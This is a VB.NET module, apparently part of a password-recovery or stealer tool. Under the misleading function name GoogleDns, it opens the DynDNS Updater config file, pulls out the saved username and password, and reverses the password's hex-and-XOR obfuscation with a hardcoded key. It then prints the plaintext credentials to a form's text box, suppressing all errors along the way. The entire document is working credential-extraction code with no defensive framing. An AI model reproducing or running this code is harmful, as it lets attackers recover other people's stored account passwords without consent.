Module Dyndns
    Public Function GoogleDns() As String
        On Error Resume Next
        GoogleDns = Nothing

        Dim sAppData As String
        Dim sPath As String
        Dim sLine As String
        Dim sUser As String = Nothing
        Dim sPassword As String = Nothing
        Dim i As Integer
        Dim sChars As String = Nothing
        Dim lPtr As Integer

        sAppData = Environ("ALLUSERSPROFILE")

        If Right(sAppData, 1) <> "\" Then sAppData = sAppData & "\"

        sPath = sAppData & "DynDNS\Updater\config.dyndns"

        'UPGRADE_WARNING: Dir has a new behavior. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="9B7D5ADD-D8FE-4819-A36C-6DEDAF088CC7"'
        If Dir(sPath) <> "" Then
            FileOpen(1, sPath, OpenMode.Binary)
            Do While Not EOF(1)
                sLine = vbNullString
                sLine = LineInput(1)
                If Left(sLine, 9) = "Username=" Then sUser = Mid(sLine, 10)
                If Left(sLine, 9) = "Password=" Then
                    sPassword = Mid(sLine, 10)
                    'We have what we want, now exit do
                    Exit Do
                End If
            Loop
            FileClose(1)

            For i = 1 To Len(sPassword) Step 2
                sChars = sChars & Chr(Val("&H" & Mid(sPassword, i, 2)))
            Next i

            For i = 1 To Len(sChars)
                Mid(sChars, i, 1) = Chr((Asc(Mid(sChars, i, 1))) Xor (Asc(Mid("t6KzXhCh", lPtr + 1, 1))))
                lPtr = ((lPtr + 1) Mod 8)
            Next i
            Dim nl As String = vbNewLine
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("============DYNDNS==============")
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("Username: " & sUser)
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("Password: " & sChars)
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("=============================")
            Form1.ztext.AppendText(nl)
            If sUser = "" Or sChars = "" Then
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============DYNDNS==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("DYNDNS Couldn't Be Recovered!")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            End If
        End If
    End Function
End Module